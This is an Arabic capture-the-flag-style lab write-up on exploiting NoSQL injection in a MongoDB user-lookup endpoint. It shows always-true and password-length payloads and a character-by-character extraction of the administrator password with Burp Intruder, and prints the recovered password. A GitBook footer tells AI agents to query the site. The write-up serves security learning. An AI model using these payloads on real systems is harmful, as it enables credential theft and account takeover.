> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/nosql-injection/data-extraction-via-nosql-injection.md).

# استخراج البيانات عبر حقن NoSQL

### استغلال حقن NoSQL لاستخراج البيانات

**خلفية المختبر**

تعتمد وظيفة البحث عن المستخدمين في هذا المعمل على قاعدة بيانات NoSQL **MongoDB**. / وهي عرضة لـ \*\*حقن NoSQL\*\*.

\*\*الهدف:\*\*/ استخراج كلمة مرور المستخدم **administrator** ثم تسجيل الدخول إلى حسابه.

يتم توفير حساب صالح:

* **المعرّف:** `wiener`
* **كلمة المرور:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/ddf6a20ce683d91e79188f470a86cedc34c6deb3" alt=""><figcaption></figcaption></figure>

**تحليل العملية**

بعد الاتصال بـ `wiener:peter`، يتم إرسال الطلب التالي في الخلفية:

```bash
GET /user/lookup?user=
```

هذا الاستعلام يعرض معلومات عن المستخدمين.

* مثال:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/a2fed9fd632e0fc5335304dbf5b9e30468d08611" alt=""><figcaption></figcaption></figure>

ثم تعرض الواجهة الأمامية:

```bash
اسم المستخدم الخاص بك هو: wiener (الدور: user)
```

<figure><img src="/files/7dfa2e1c2cc693e2344c1d5e4d2b89ed22c536aa" alt=""><figcaption></figcaption></figure>

**اكتشاف ثغرة NoSQL**

عن طريق حقن علامة اقتباس مفردة واحدة:

```bash
administrator'
```

يعرض الخادم خطأ:

```terraform
{
  "message": "حدث خطأ أثناء الحصول على تفاصيل المستخدم"
}
```

<figure><img src="/files/7f8ba81e16f03ef030a9e5c7a0af94c142449388" alt=""><figcaption></figcaption></figure>

ومع ذلك، بإضافة شرط دائم الصحة:

```bash
administrator' || true ||'
```

يتم قبول الطلب، مما يؤكد وجود \*\*حقن NoSQL\*\*.

**استخراج طول كلمة المرور**

الـ `this.password.length` تُستخدم السمة لتحديد طول كلمة المرور.

مثال للاختبار:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

لكي يعمل هذا بشكل صحيح، من الضروري \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\*التطبيق على المدير\*\*

<figure><img src="/files/162aeb1835ce140c605789c3223f7d6c033cb2b7" alt=""><figcaption></figcaption></figure>

تكرار الطريقة مع `administrator` المستخدم:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

يتم التحقق من الشرط، مما يشير إلى أن كلمة مرور المدير تحتوي على **8 أحرف**.

<figure><img src="/files/9213d22cd778de4f39c45c82a98e4a2d6f013012" alt=""><figcaption></figcaption></figure>

**استخراج حرفًا بحرف**

ثم التصفية حسب الموضع:

```bash
administrator' %26%26 this.password[0]=='X
```

يتم إرسال هذا الطلب إلى **Intruder**.

<figure><img src="/files/b38f49481416b44fec662ae7db88556a80a375f7" alt=""><figcaption></figcaption></figure>

### \*\*الهجوم باستخدام Intruder\*\*

<figure><img src="/files/1be42f520a33af4120153ff43a49d28c443225f0" alt=""><figcaption></figcaption></figure>

نوع الهجوم : **Cluster Bomb**

<figure><img src="/files/4af92a9454fea9638a9c5a8832084b313e3ed424" alt=""><figcaption></figcaption></figure>

المعلمات:

* موضع الحرف: `0` إلى `7` قيم

<figure><img src="/files/a15cc142a132d7495ee76285b66acc2fba688496" alt=""><figcaption></figcaption></figure>

* الأحرف المختبرة: الأبجدية (قاموس الحروف)

<figure><img src="/files/1927bda3170bd179722179f2c8a2424dbf408c02" alt=""><figcaption></figcaption></figure>

من خلال تحليل الإجابات الصحيحة، يتم استرجاع كلمة المرور.

| رقم | حرف |
| --- | --- |
| 0   | v   |
| 1   | x   |
| 2   | t   |
| 3   | r   |
| 4   | m   |
| 5   | e   |
| 6   | z   |
| 7   | s   |

<figure><img src="/files/0683bacebdc7e7952072a03ad53a5c64d69bea43" alt=""><figcaption></figcaption></figure>

**النتيجة النهائية**

**كلمة مرور مستخدم المدير:**

`vxtrmezs`

<figure><img src="/files/f2b0364e95e4a6d6673a91bf6589892dd37f3410" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
